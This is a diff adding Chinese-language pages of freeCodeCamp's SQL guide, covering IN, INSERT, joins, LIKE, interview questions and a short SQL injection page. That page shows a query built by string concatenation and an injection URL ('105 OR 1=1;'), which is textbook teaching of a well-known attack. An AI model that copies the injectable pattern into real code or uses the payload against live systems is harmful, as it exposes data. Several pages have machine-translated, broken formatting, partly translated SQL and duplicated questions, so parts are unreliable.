+ | SANDERS, BERNARD (BERNIE)                        |          2016 |      258562022.17 |      122 | 
+ | CRUZ, RAFAEL EDWARD (TED)                        |          2016 | 93430700.29000005 |      104 | 
+ | CARSON, BENJAMIN S (BEN)                         |          2016 | 62202411.12999996 |       93 | 
+ | RUBIO, MARCO ANTONIO                             |          2016 |        44384313.9 |      106 | 
+ | BUSH, JOHN ELLIS (JEB)                           |          2016 |       34606731.78 |       97 | 
+ +--------------------------------------------------+---------------+-------------------+----------+ 
+ 7 rows in set (0.01 sec) 
+```
+
+与所有这些SQL事物一样，它们比本入门指南中的内容更多。
+
+我希望这至少足以让你开始。
+
+请参阅您的数据库管理员手册，并自己尝试不同的选项。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-in-operator/index.md b/client/src/guide/chinese/sql/sql-in-operator/index.md
new file mode 100644
index 0000000000..cb01ac7234
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-in-operator/index.md
@@ -0,0 +1,53 @@
+---
+title: SQL In Operator
+localeTitle: SQL In Operator
+---
+## SQL In Operator
+
+## IN运营商定义
+
+`IN`运算符用于`WHERE`或`HAVING` （作为`GROUP BY`一部分），以将所选行限制为列表中的项“IN”。
+
+以下是与`WHERE`子句结果集进行比较的当前完整学生列表：
+
+```sql
+select studentID, FullName, sat_score, rcd_updated from student; 
+```
+
+```text
++-----------+------------------------+-----------+---------------------+ 
+ | studentID | FullName               | sat_score | rcd_updated         | 
+ +-----------+------------------------+-----------+---------------------+ 
+ |         1 | Monique Davis          |       400 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez         |       800 | 2017-08-16 15:34:50 | 
+ |         3 | Spencer Pautier        |      1000 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey           |      1200 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene           |      1200 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman         |      1200 | 2017-08-16 15:34:50 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | 2017-08-16 15:35:33 | 
+ |         8 | Donald D. Chamberlin   |      2400 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce       |      2400 | 2017-08-16 15:35:33 | 
+ +-----------+------------------------+-----------+---------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+将显示在此列表中具有SAT分数的行（1000,2400）：
+
+```sql
+select studentID, FullName, sat_score, rcd_updated 
+ from student 
+ where sat_score in (1000, 2400); 
+```
+
+```text
++-----------+------------------------+-----------+---------------------+ 
+ | studentID | FullName               | sat_score | rcd_updated         | 
+ +-----------+------------------------+-----------+---------------------+ 
+ |         3 | Spencer Pautier        |      1000 | 2017-08-16 15:34:50 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | 2017-08-16 15:35:33 | 
+ |         8 | Donald D. Chamberlin   |      2400 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce       |      2400 | 2017-08-16 15:35:33 | 
+ +-----------+------------------------+-----------+---------------------+ 
+ 4 rows in set (0.00 sec) 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-injection/index.md b/client/src/guide/chinese/sql/sql-injection/index.md
new file mode 100644
index 0000000000..3265c7cbfe
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-injection/index.md
@@ -0,0 +1,21 @@
+---
+title: SQL Injection
+localeTitle: SQL注入
+---
+## SQL注入
+
+SQL注入是一种旨在危害或破坏数据库的恶意技术。它是最常见的网络黑客技术之一。
+
+通过输入将恶意代码放入SQL语句中来执行SQL注入。
+
+以下示例是一个代码段，它将基于`AccountId`从数据库中检索用户。
+```
+passedInAccountId = getRequestString("AccountId"); 
+ sql = "select * from Accounts where AccountId = " + passedInAccountId; 
+```
+
+通过注入`1=1;`可以使用SQL注入来破坏此代码`1=1;` `AccountId`声明。
+
+`https://www.foo.com/get-user?AccountId="105 OR 1=1;"`
+
+`1=1`将始终评估为`TRUE` 。这将导致执行的代码输出所有Accounts表。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-inner-join-keyword/index.md b/client/src/guide/chinese/sql/sql-inner-join-keyword/index.md
new file mode 100644
index 0000000000..00f218ae82
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-inner-join-keyword/index.md
@@ -0,0 +1,52 @@
+---
+title: SQL Inner Join Keyword
+localeTitle: SQL内部联接关键字
+---
+## SQL内部联接关键字
+
+### 使用示例
+
+对于本指南，我们将讨论SQL（INNER）连接
+
+### 加入（与内部加入相同）
+
+student表将在FROM子句中，因此它将是一个起始表或LEFT表。
+
+我们将此加入学生联系表或右表。 您将看到所有学生都显示ALSO在联系表中。如下表所示，studentID 9位于学生表中，但不在联系表中，因此不会出现在联接中。
+
+SQL语句
+
+```sql
+SELECT a.studentID, a.FullName, a.programOfStudy, 
+ b.`student-phone-cell`, b.`student-US-zipcode` 
+ FROM student AS a 
+ INNER JOIN `student-contact-info` AS b ON a.studentID = b.studentID; 
+```
+
+“加入”数据 \`\`\`文字 + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + | studentID | FullName | programOfStudy |学生电话| student-US-zipcode | + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + | 1 |莫妮克戴维斯|文学| 555-555-5551 | 97111 | | 2 | Teri Gutierrez |编程| 555-555-5552 | 97112 | | 3 | Spencer Pautier |编程| 555-555-5553 | 97113 | | 4 |路易斯拉姆齐|编程| 555-555-5554 | 97114 | | 5 | Alvin Greene |编程| 555-555-5555 | 97115 | | 6 |索菲弗里曼|编程| 555-555-5556 | 97116 | | 7 |埃德加弗兰克“特德”科德|计算机科学| 555-555-5557 | 97117 | | 8 |唐纳德D. Chamberlin |计算机科学| 555-555-5558 | 97118 | + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- +
+```
+### Complete table listings for reference 
+ 
+ Student table SQL 
+```
+
+SQL SELECT a.studentID，a.FullName，sat\_score，a.programOfStudy，schoolEmailAdr 来自学生AS;
+```
+student or LEFT table 
+```
+
+文本 + ----------- + ------------------------ + ----------- + ------------------ + ------------------------ + | studentID | FullName | sat\_score | programOfStudy | schoolEmailAdr | + ----------- + ------------------------ + ----------- + ------------------ + ------------------------ + | 1 |莫妮克戴维斯| 400 |文学| Monique@someSchool.edu | | 2 | Teri Gutierrez | 800 |编程| Teri@someSchool.edu | | 3 | Spencer Pautier | 1000 |编程| Spencer@someSchool.edu | | 4 |路易斯拉姆齐| 1200 |编程| Louis@someSchool.edu | | 5 | Alvin Greene | 1200 |编程| Alvin@someSchool.edu | | 6 |索菲弗里曼| 1200 |编程| Sophie@someSchool.edu | | 7 |埃德加弗兰克“特德”科德| 2400 |计算机科学| Edgar@someSchool.edu | | 8 |唐纳德D. Chamberlin | 2400 |计算机科学| Donald@someSchool.edu | | 9 |雷蒙德F.博伊斯| 2400 |计算机科学| Raymond@someSchool.edu | + ----------- + ------------------------ + ----------- + ------------------ + ------------------------ + 9行（0.00秒）
+
+```sql
+SELECT * FROM `student-contact-info` AS b; 
+```
+
+学生联系表或右表 `text +-----------+----------------------------------+--------------------+--------------------+ | studentID | studentEmailAddr | student-phone-cell | student-US-zipcode | +-----------+----------------------------------+--------------------+--------------------+ | 1 | Monique.Davis@freeCodeCamp.org | 555-555-5551 | 97111 | | 2 | Teri.Gutierrez@freeCodeCamp.org | 555-555-5552 | 97112 | | 3 | Spencer.Pautier@freeCodeCamp.org | 555-555-5553 | 97113 | | 4 | Louis.Ramsey@freeCodeCamp.org | 555-555-5554 | 97114 | | 5 | Alvin.Green@freeCodeCamp.org | 555-555-5555 | 97115 | | 6 | Sophie.Freeman@freeCodeCamp.org | 555-555-5556 | 97116 | | 7 | Maximo.Smith@freeCodeCamp.org | 555-555-5557 | 97117 | | 8 | Michael.Roach@freeCodeCamp.ort | 555-555-5558 | 97118 | +-----------+----------------------------------+--------------------+--------------------+ 8 rows in set (0.00 sec)`
+
+### 结论
+
+与所有这些SQL事物一样，它们比本入门指南中的内容更多。
+
+我希望这至少足以让你开始。
+
+请参阅您的数据库管理员手册，并自己尝试不同的选项。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-insert-into-select-statement/index.md b/client/src/guide/chinese/sql/sql-insert-into-select-statement/index.md
new file mode 100644
index 0000000000..2a4f2dec9e
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-insert-into-select-statement/index.md
@@ -0,0 +1,26 @@
+---
+title: SQL Insert into Select Statement
+localeTitle: SQL插入Select语句
+---
+## SQL插入Select语句
+
+您可以使用已存储在数据库中的数据在表中插入记录。这只是数据的副本，不会影响原始表。
+
+`INSERT INTO SELECT`语句结合了`INSERT INTO`和`SELECT`语句，您可以使用任何您想要的条件。语法是：
+
+```sql
+INSERT INTO table2 (column1, column2, column3, ...) 
+ SELECT column1, column2, column3, ... 
+ FROM table1 
+ WHERE condition; 
+```
+
+这是一个示例，在表格中插入所有来自表格Student的男学生。
+
+```sql
+INSERT INTO Person(Id, Name, DateOfBirth, Gender) 
+ SELECT Id, Name, DateOfBirth, Gender 
+ FROM Students 
+ WHERE Gender = 'M' 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-insert-into-statement/index.md b/client/src/guide/chinese/sql/sql-insert-into-statement/index.md
new file mode 100644
index 0000000000..a134c08b9c
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-insert-into-statement/index.md
@@ -0,0 +1,45 @@
+---
+title: SQL Insert into Statement
+localeTitle: SQL插入语句
+---
+## SQL插入语句
+
+要在表中插入记录，请使用`INSERT INTO`语句。
+
+您可以通过两种方式执行此操作，如果只想在某些列中插入值，则必须列出其名称，包括所有必需列。语法是：
+
+```sql
+INSERT INTO table_name (column1, column2, column3, ...) 
+ VALUES (value1, value2, value3, ...); 
+```
+
+另一种方法是将值插入表中的所有列，不必指定列名。语法是：
+
+```sql
+INSERT INTO table_name 
+ VALUES (value1, value2, value3, ...); 
+```
+
+这是一个以两种方式在表Person中插入记录的示例：
+
+```sql
+INSERT INTO Person 
+ VALUES (1, 'John Lennon', '1940-10-09', 'M'); 
+```
+
+和
+
+```sql
+INSERT INTO Person(Id, Name, DateOfBirth, Gender) 
+ VALUES (1, 'John Lennon', '1940-10-09', 'M'); 
+```
+
+某些SQL版本（例如，MySQL）支持一次插入多行。例如：
+
+```sql
+INSERT INTO Person(Id, Name, DateOfBirth, Gender) 
+ VALUES (1, 'John Lennon', '1940-10-09', 'M'), (2, 'Paul McCartney', '1942-06-18', 'M'), 
+ (3, 'George Harrison', '1943-02-25', 'M'), (4, 'Ringo Starr', '1940-07-07', 'M') 
+```
+
+请注意，整个原始查询保持不变 - 我们简单地添加由paranthesis包围的数据行并用逗号分隔。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-insert-query/index.md b/client/src/guide/chinese/sql/sql-insert-query/index.md
new file mode 100644
index 0000000000..dd02183729
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-insert-query/index.md
@@ -0,0 +1,29 @@
+---
+title: SQL Insert Query
+localeTitle: SQL插入查询
+---
+## SQL插入查询
+
+插入查询是一种将数据插入表格的方法。假设我们已经创建了一个表格
+
+`CREATE TABLE example_table ( name varchar(255), age int)`
+
+**example\_table**
+
+|名称|年龄| | --- | --- |
+
+现在要向此表添加一些数据，我们将以下列方式使用**INSERT** ：
+
+`INSERT INTO example_table (column1,column2) VALUES ("Andrew",23)`
+
+**example\_table**
+
+|名称|年龄| | --- | --- | |安德鲁| 23 |
+
+即使以下内容也可以使用，但指定哪些数据进入哪一列始终是一个好习惯。
+
+`INSERT INTO table_name VALUES ("John", 28)`
+
+**example\_table**
+
+|名称|年龄| | --- | --- | |安德鲁| 23 | |约翰| 28 |
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-interview-questions/index.md b/client/src/guide/chinese/sql/sql-interview-questions/index.md
new file mode 100644
index 0000000000..b99221ef94
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-interview-questions/index.md
@@ -0,0 +1,125 @@
+---
+title: SQL Interview Questions
+localeTitle: SQL面试问题
+---
+## SQL面试问题
+
+### 什么是SQL中的内连接？
+
+如果未指定连接，则这是默认的连接类型。它返回两个表中至少有一个匹配的所有行。
+
+```sql
+SELECT * FROM A x JOIN B y ON y.aId = x.Id 
+```
+
+### 什么是SQL中的左连接？
+
+左连接返回左表中的所有行，以及右表中匹配的行。即使右表中没有匹配项，也会返回左表中的行。右表中左表中没有匹配的行对于右表值将为`null` 。
+
+```sql
+SELECT * FROM A x LEFT JOIN B y ON y.aId = x.Id 
+```
+
+### 什么是SQL的正确连接？
+
+右连接返回右表中的所有行，以及左表中匹配的行。与左连接相反，这将返回右表中的所有行，即使左表中没有匹配也是如此。右表中在左表中没有匹配的行将具有左表列的`null`值。
+
+```sql
+SELECT * FROM A x RIGHT JOIN B y ON y.aId = x.Id 
+```
+
+### 什么是SQL的完整连接？
+
+完整连接将返回其中任一表中存在匹配项的所有行。因此，如果左表中的行没有右表中的匹配项，那么将包含这些行。如果右表中的行没有左表中的匹配，那么将包含这些行。
+
+```sql
+SELECT Customers.CustomerName, Orders.OrderID 
+ FROM Customers 
+ FULL OUTER JOIN Orders 
+ ON Customers.CustomerID=Orders.CustomerID 
+ ORDER BY Customers.CustomerName 
+```
+
+### 以下命令的结果是什么？
+
+\`\`\` DROP VIEW view\_name
+```
+Here it'll be an error because we can't perform a DML operation on a view. 
+ 
+ ### Can we perform a rollback after using ALTER command? 
+ No, because ALTER is a DDL command and Oracle server performs an automatic COMMIT when the DDL statements are executed. 
+ 
+ 
+ ### Which is the only constraint that enforces rules at column level? 
+ NOT NULL is the only constraint that works at the column level. 
+ 
+ 
+ ### What are the pseudocolumns in SQL? Give some examples? 
+ A pseudocolumn is a function which returns a system generated value. The reason it is known as so because a pseudocolumn is an Oracle assigned value used in the same context as an Oracle database column but not stored on disk. 
+```
+
+它的一些例子是： ROWNUM，ROWID，USER，CURRVAL，NEXTVAL等 \`\`\`
+
+### 使用密码kmd26pt创建用户my723acct。使用_PO8提供_的用户_数据和临时数据表空间，为用户提供10M的用户_数据存储空间和5M的临时数据存储空间。
+
+`sql CREATE USER my723acct IDENTIFIED BY kmd26pt DEFAULT TABLESPACE user_data TEMPORARY TABLESPACE temporary_data QUOTA 10M on user_data QUOTA 5M on temporary_data`
+
+### 创建角色角色_表_ and\_views。
+
+`sql CREATE ROLE role_tables_and_views`
+
+### 向上一个问题的角色授予连接数据库的权限以及创建表和视图的权限。
+
+连接数据库的权限是CREATE SESSION 创建表的权限是CREATE TABLE 创建视图的权限是CREATE VIEW `sql GRANT Create session, create table, create view TO role_tables_and_views`
+
+### 将问题中的先前角色授予用户anny和rita
+
+`sql GRANT role_tables_and_views TO anny, rita`
+
+### 使用密码kmd26pt创建用户my723acct。使用_PO8提供_的用户_数据和临时数据表空间，为用户提供10M的用户_数据存储空间和5M的临时数据存储空间。
+
+`sql CREATE USER my723acct IDENTIFIED BY kmd26pt DEFAULT TABLESPACE user_data TEMPORARY TABLESPACE temporary_data QUOTA 10M on user_data QUOTA 5M on temporary_data`
+
+### 创建角色角色_表_ and\_views。
+
+`sql CREATE ROLE role_tables_and_views`
+
+### 向上一个问题的角色授予连接数据库的权限以及创建表和视图的权限。
+
+连接数据库的权限是CREATE SESSION 创建表的权限是CREATE TABLE 创建视图的权限是CREATE VIEW `sql GRANT Create session, create table, create view TO role_tables_and_views`
+
+### 将问题中的先前角色授予用户anny和rita
+
+`sql GRANT role_tables_and_views TO anny, rita`
+
+### 编写命令将用户rita的密码从abcd更改为dfgh
+
+`sql ALTER USER rita IDENTIFIED BY dfgh`
+
+### 用户rita和anny对SCOTT创建的表INVENTORY没有SELECT权限。编写一个命令以允许SCOTT在这些表上授予用户SELECT权限。
+
+`sql GRANT select ON inventory TO rita, anny`
+
+### 用户rita已被转移，不再需要通过角色_表和_ and\_views授予她的权限。写一个命令将她从以前的特权中移除，除了她仍然可以连接到数据库。
+
+`sql REVOKE select ON scott.inventory FROM rita REVOKE create table, create view FROM rita`
+
+### 被转让的用户rita现在正转移到另一家公司。由于她创建的对象不再使用，因此请编写一个命令来删除此用户及其所有对象。
+
+这里需要CASCADE选项来删除数据库中用户的所有对象。 \`\`sql  
+DROP USER rita CASCADE
+
+### 用户rita已被转移，不再需要通过角色_表和_ and\_views授予她的权限。写一个命令将她从以前的特权中移除，除了她仍然可以连接到数据库。
+
+`sql REVOKE select ON scott.inventory FROM rita REVOKE create table, create view FROM rita`
+
+### 被转让的用户rita现在正转移到另一家公司。由于她创建的对象不再使用，因此请编写一个命令来删除此用户及其所有对象。
+
+这里需要CASCADE选项来删除数据库中用户的所有对象。 \`\`sql  
+DROP USER rita CASCADE
+```
+### Write SQL query to find the nth highest salary from table. 
+```
+
+SQL  
+选择TOP 1薪水 来自（ 选择DISTINCT TOP N薪水 来自员工 按薪酬排序DESC ） 按薪酬排序ASC \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-joins/index.md b/client/src/guide/chinese/sql/sql-joins/index.md
new file mode 100644
index 0000000000..6749c1e3f4
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-joins/index.md
@@ -0,0 +1,118 @@
+---
+title: SQL Joins
+localeTitle: SQL连接
+---
+## SQL连接
+
+### 使用示例
+
+对于本指南，我们将讨论SQL语句的JOIN部分。
+
+### SQL语法，重点是Join
+
+```sql
+SELECT col1, col2, col3, etc.... 
+ FROM  tableNameOne AS a 
+ JOIN tableNameTwo AS b ON a.primeKey = b.primeKey 
+ etc... 
+```
+
+JOIN语句可以只是JOIN或INNER JOIN，它们是相同的，或LEFT JOIN（如下所述）。
+
+### 不同类型的JOIN
+
+*   （内部联接
+*   返回两个表中具有匹配值的记录
+*   左（外）加入
+*   返回左表中的所有记录，以及右表中的匹配记录
+*   右（外）加入
+*   返回右表中的所有记录，以及左表中匹配的记录
+*   全（外）加入
+*   当左表或右表中匹配时返回所有记录
+
+### 加入
+
+student表将在FROM子句中，因此它将是一个起始表或LEFT表。
+
+我们将此加入学生联系表或右表。
+
+你会看到所有学生都出现在联系表中。
+
+如下表所示，studentID 9位于学生表中，但不在联系表中，因此不会出现在联接中。
+
+SQL语句
+
+```sql
+SELECT a.studentID, a.FullName, a.programOfStudy, 
+ b.`student-phone-cell`, b.`student-US-zipcode` 
+ FROM student AS a 
+ JOIN `student-contact-info` AS b ON a.studentID = b.studentID; 
+```
+
+“加入”数据： \`\`\`文字 + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + | studentID | FullName | programOfStudy |学生电话| student-US-zipcode | + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + | 1 |莫妮克戴维斯|文学| 555-555-5551 | 97111 | | 2 | Teri Gutierrez |编程| 555-555-5552 | 97112 | | 3 | Spencer Pautier |编程| 555-555-5553 | 97113 | | 4 |路易斯拉姆齐|编程| 555-555-5554 | 97114 | | 5 | Alvin Greene |编程| 555-555-5555 | 97115 | | 6 |索菲弗里曼|编程| 555-555-5556 | 97116 | | 7 |埃德加弗兰克“特德”科德|计算机科学| 555-555-5557 | 97117 | | 8 |唐纳德D. Chamberlin |计算机科学| 555-555-5558 | 97118 | + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- +
+```
+### Left Join 
+ Using the keyword LEFT before JOIN causes the system to start with the student (LEFT) table but will return NULL from the RIGHT table if there are no rows for the LEFT table student. 
+ 
+ Note that studentID 9 appears here but the data from the contact table is just shown as NULL. 
+```
+
+SQL SELECT a.studentID，a.FullName，a.programOfStudy， 湾`student-phone-cell` ，b。 `student-US-zipcode` 来自学生AS LEFT JOIN `student-contact-info` AS b ON a.studentID = b.studentID;
+```
+``` text 
+ +-----------+------------------------+------------------+--------------------+--------------------+ 
+ | studentID | FullName               | programOfStudy   | student-phone-cell | student-US-zipcode | 
+ +-----------+------------------------+------------------+--------------------+--------------------+ 
+ |         1 | Monique Davis          | Literature       | 555-555-5551       |              97111 | 
+ |         2 | Teri Gutierrez         | Programming      | 555-555-5552       |              97112 | 
+ |         3 | Spencer Pautier        | Programming      | 555-555-5553       |              97113 | 
+ |         4 | Louis Ramsey           | Programming      | 555-555-5554       |              97114 | 
+ |         5 | Alvin Greene           | Programming      | 555-555-5555       |              97115 | 
+ |         6 | Sophie Freeman         | Programming      | 555-555-5556       |              97116 | 
+ |         7 | Edgar Frank "Ted" Codd | Computer Science | 555-555-5557       |              97117 | 
+ |         8 | Donald D. Chamberlin   | Computer Science | 555-555-5558       |              97118 | 
+ |         9 | Raymond F. Boyce       | Computer Science | NULL               |               NULL | 
+ +-----------+------------------------+------------------+--------------------+--------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+### 完整的表格列表供参考
+
+学生表列表
+
+```sql
+SELECT a.studentID, a.FullName, sat_score, a.programOfStudy, schoolEmailAdr 
+ FROM student AS a; 
+```
+
+学生或左表
+
+```text
++-----------+------------------------+-----------+------------------+------------------------+ 
+ | studentID | FullName               | sat_score | programOfStudy   | schoolEmailAdr         | 
+ +-----------+------------------------+-----------+------------------+------------------------+ 
+ |         1 | Monique Davis          |       400 | Literature       | Monique@someSchool.edu | 
+ |         2 | Teri Gutierrez         |       800 | Programming      | Teri@someSchool.edu    | 
+ |         3 | Spencer Pautier        |      1000 | Programming      | Spencer@someSchool.edu | 
+ |         4 | Louis Ramsey           |      1200 | Programming      | Louis@someSchool.edu   | 
+ |         5 | Alvin Greene           |      1200 | Programming      | Alvin@someSchool.edu   | 
+ |         6 | Sophie Freeman         |      1200 | Programming      | Sophie@someSchool.edu  | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | Computer Science | Edgar@someSchool.edu   | 
+ |         8 | Donald D. Chamberlin   |      2400 | Computer Science | Donald@someSchool.edu  | 
+ |         9 | Raymond F. Boyce       |      2400 | Computer Science | Raymond@someSchool.edu | 
+ +-----------+------------------------+-----------+------------------+------------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+SQL SELECT \* from `student-contact-info` AS b;
+```
+student contact or RIGHT table 
+```
+
+文本 + ----------- + ---------------------------------- + - ------------------ + -------------------- + | studentID | studentEmailAddr |学生电话| student-US-zipcode | + ----------- + ---------------------------------- + - ------------------ + -------------------- + | 1 | Monique.Davis@freeCodeCamp.org | 555-555-5551 | 97111 | | 2 | Teri.Gutierrez@freeCodeCamp.org | 555-555-5552 | 97112 | | 3 | Spencer.Pautier@freeCodeCamp.org | 555-555-5553 | 97113 | | 4 | Louis.Ramsey@freeCodeCamp.org | 555-555-5554 | 97114 | | 5 | Alvin.Green@freeCodeCamp.org | 555-555-5555 | 97115 | | 6 | Sophie.Freeman@freeCodeCamp.org | 555-555-5556 | 97116 | | 7 | Maximo.Smith@freeCodeCamp.org | 555-555-5557 | 97117 | | 8 | Michael.Roach@freeCodeCamp.ort | 555-555-5558 | 97118 | + ----------- + ---------------------------------- + - ------------------ + -------------------- + 8行（0.00秒） \`\`\`
+
+与所有这些SQL事物一样，它们比本入门指南中的内容更多。
+
+我希望这至少足以让你开始。
+
+请参阅您的数据库管理员手册，并自己尝试不同的选项。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-left-join-keyword/index.md b/client/src/guide/chinese/sql/sql-left-join-keyword/index.md
new file mode 100644
index 0000000000..d54ca299d2
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-left-join-keyword/index.md
@@ -0,0 +1,49 @@
+---
+title: SQL Left Join
+localeTitle: SQL Left Join
+---
+## SQL Left Join
+
+### 使用示例
+
+对于本指南，我们将讨论SQL LEFT JOIN。
+
+### 左加入
+
+在JOIN之前使用关键字LEFT会导致系统以学生（LEFT）表开始，但如果LEFT表学生没有行，则会从RIGHT表返回NULL。
+
+请注意，studentID 9出现在此处，但联系表中的数据仅显示为NULL。
+
+```sql
+SELECT a.studentID, a.FullName, a.programOfStudy, 
+ b.`student-phone-cell`, b.`student-US-zipcode` 
+ FROM student AS a 
+ LEFT JOIN `student-contact-info` AS b ON a.studentID = b.studentID; 
+```
+
+\`\`\`文字 + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + | studentID | FullName | programOfStudy |学生电话| student-US-zipcode | + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + | 1 |莫妮克戴维斯|文学| 555-555-5551 | 97111 | | 2 | Teri Gutierrez |编程| 555-555-5552 | 97112 | | 3 | Spencer Pautier |编程| 555-555-5553 | 97113 | | 4 |路易斯拉姆齐|编程| 555-555-5554 | 97114 | | 5 | Alvin Greene |编程| 555-555-5555 | 97115 | | 6 |索菲弗里曼|编程| 555-555-5556 | 97116 | | 7 |埃德加弗兰克“特德”科德|计算机科学| 555-555-5557 | 97117 | | 8 |唐纳德D. Chamberlin |计算机科学| 555-555-5558 | 97118 | | 9 |雷蒙德F.博伊斯|计算机科学| NULL | NULL | + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + 9行（0.00秒）
+```
+### Complete table listings for reference 
+ student or LEFT table SQL 
+```
+
+SQL SELECT a.studentID，a.FullName，sat\_score，a.programOfStudy，schoolEmailAdr 来自学生AS;
+```
+student or LEFT table data 
+```
+
+文本 + ----------- + ------------------------ + ----------- + ------------------ + ------------------------ + | studentID | FullName | sat\_score | programOfStudy | schoolEmailAdr | + ----------- + ------------------------ + ----------- + ------------------ + ------------------------ + | 1 |莫妮克戴维斯| 400 |文学| Monique@someSchool.edu | | 2 | Teri Gutierrez | 800 |编程| Teri@someSchool.edu | | 3 | Spencer Pautier | 1000 |编程| Spencer@someSchool.edu | | 4 |路易斯拉姆齐| 1200 |编程| Louis@someSchool.edu | | 5 | Alvin Greene | 1200 |编程| Alvin@someSchool.edu | | 6 |索菲弗里曼| 1200 |编程| Sophie@someSchool.edu | | 7 |埃德加弗兰克“特德”科德| 2400 |计算机科学| Edgar@someSchool.edu | | 8 |唐纳德D. Chamberlin | 2400 |计算机科学| Donald@someSchool.edu | | 9 |雷蒙德F.博伊斯| 2400 |计算机科学| Raymond@someSchool.edu | + ----------- + ------------------------ + ----------- + ------------------ + ------------------------ + 9行（0.00秒）
+
+学生联系或右表SQL
+
+```sql
+select * from `student-contact-info` as b; 
+```
+
+学生联系或正确的表格数据 `text +-----------+----------------------------------+--------------------+--------------------+ | studentID | studentEmailAddr | student-phone-cell | student-US-zipcode | +-----------+----------------------------------+--------------------+--------------------+ | 1 | Monique.Davis@freeCodeCamp.org | 555-555-5551 | 97111 | | 2 | Teri.Gutierrez@freeCodeCamp.org | 555-555-5552 | 97112 | | 3 | Spencer.Pautier@freeCodeCamp.org | 555-555-5553 | 97113 | | 4 | Louis.Ramsey@freeCodeCamp.org | 555-555-5554 | 97114 | | 5 | Alvin.Green@freeCodeCamp.org | 555-555-5555 | 97115 | | 6 | Sophie.Freeman@freeCodeCamp.org | 555-555-5556 | 97116 | | 7 | Maximo.Smith@freeCodeCamp.org | 555-555-5557 | 97117 | | 8 | Michael.Roach@freeCodeCamp.ort | 555-555-5558 | 97118 | +-----------+----------------------------------+--------------------+--------------------+ 8 rows in set (0.00 sec)`
+
+与所有这些SQL事物一样，它们比本入门指南中的内容更多。
+
+我希望这至少足以让你开始。
+
+请参阅您的数据库管理员手册，并自己尝试不同的选项。
\ No newline at end of file
diff --git a/client/src/guide/chinese/sql/sql-like-operator/index.md b/client/src/guide/chinese/sql/sql-like-operator/index.md
new file mode 100644
index 0000000000..1aef856853
--- /dev/null
+++ b/client/src/guide/chinese/sql/sql-like-operator/index.md
@@ -0,0 +1,90 @@
+---
+title: SQL LIKE Operator
+localeTitle: SQL LIKE运算符
+---
+## SQL LIKE运算符
+
+### LIKE运营商定义
+
+`LIKE`运算符用于`WHERE`或`HAVING` （作为`GROUP BY`一部分），以便在列中包含特定字符模式时将所选行限制为项。
+
+### 本指南将演示：
+
+*   确定字符串是否以给定的字符串模式开始或结束
+*   确定字符串中间是否存在模式
+*   确定字符串中是否包含字符串
+
+### 列以给定的字符串模式开始或结束
+
+此SQL将选择`FullName`以“Monique”开头或以“Greene”结尾的学生。
+
+```sql
+SELECT studentID, FullName, sat_score, rcd_updated 
+ FROM student 
+ WHERE 
+ FullName LIKE 'Monique%' OR -- note the % at the end but not the beginning 
+ FullName LIKE '%Greene'; -- note the % at the beginning but not the end 
+```
+
+```text
++-----------+---------------+-----------+---------------------+ 
+ | studentID | FullName      | sat_score | rcd_updated         | 
+ +-----------+---------------+-----------+---------------------+ 
+ |         1 | Monique Davis |       400 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene  |      1200 | 2017-08-16 15:34:50 | 
+ +-----------+---------------+-----------+---------------------+ 
+ 2 rows in set (0.00 sec) 
+```
+
+### 字符串模式位于列的中间
+
+此SQL将选择名称中包含“ree”的学生。
+
+```sql
+SELECT studentID, FullName, sat_score, rcd_updated 
+ FROM student 
+ WHERE FullName LIKE '%ree%'; -- note the % at the beginning AND at the end 
+```
+
+```text
++-----------+----------------+-----------+---------------------+ 
+ | studentID | FullName       | sat_score | rcd_updated         | 
+ +-----------+----------------+-----------+---------------------+ 
+ |         5 | Alvin Greene   |      1200 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman |      1200 | 2017-08-16 15:34:50 | 
+ +-----------+----------------+-----------+---------------------+ 
+ 2 rows in set (0.00 sec) 
+```
+
+### 字符串不在列中
+
+您可以在LIKE之前放置“NOT”以使用字符串模式排除行而不是选择它们。 此SQL排除FullName列中包含“cer Pau”和“Ted”的记录。
+
+```sql
+SELECT studentID, FullName, sat_score, rcd_updated 
+ FROM student 
+ WHERE FullName NOT LIKE '%cer Pau%' AND FullName NOT LIKE '%"Ted"%'; 
+```
+
+```text
++-----------+----------------------+-----------+---------------------+ 
+ | studentID | FullName             | sat_score | rcd_updated         | 
